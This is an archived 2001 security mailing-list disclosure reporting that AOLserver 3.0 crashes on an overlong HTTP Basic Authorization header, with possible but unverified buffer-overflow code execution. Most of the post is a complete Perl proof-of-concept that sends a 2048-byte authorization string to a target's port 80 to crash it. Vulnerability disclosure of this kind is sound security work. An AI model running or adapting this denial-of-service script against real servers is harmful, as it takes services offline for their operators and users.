Aolserver 3.0 will crash when it is given a long authorization string. It
is also possible this vulnerability will allow a hacker to execute
arbitrary code through a buffer overflow. I have not verified a buffer
overflow exists. Aolserver 3.4 and 3.3.1 are not vulnerable to this attack.
Here is a sample exploit:
------------------------------------------
#!/usr/bin/perl
use IO::Socket;
unless (@ARGV == 1) { die "usage: $0 host ..." }
$host = shift(@ARGV);
$remote = IO::Socket::INET->new( Proto => "tcp",
PeerAddr => $host,
PeerPort => "http(80)",
);
unless ($remote) { die "cannot connect to http daemon on $host" }
$junk = "X" x 2048;
$killme = "GET / HTTP/1.0\nAuthorization: Basic ".$junk."\r\n\r\n";
$remote->autoflush(1);
print $remote $killme;
close $remote;
--------------------
Nate Haggard
SecurityLogics.com
This archive was generated by hypermail 2b30 : Wed Aug 22 2001 - 17:07:05 PDT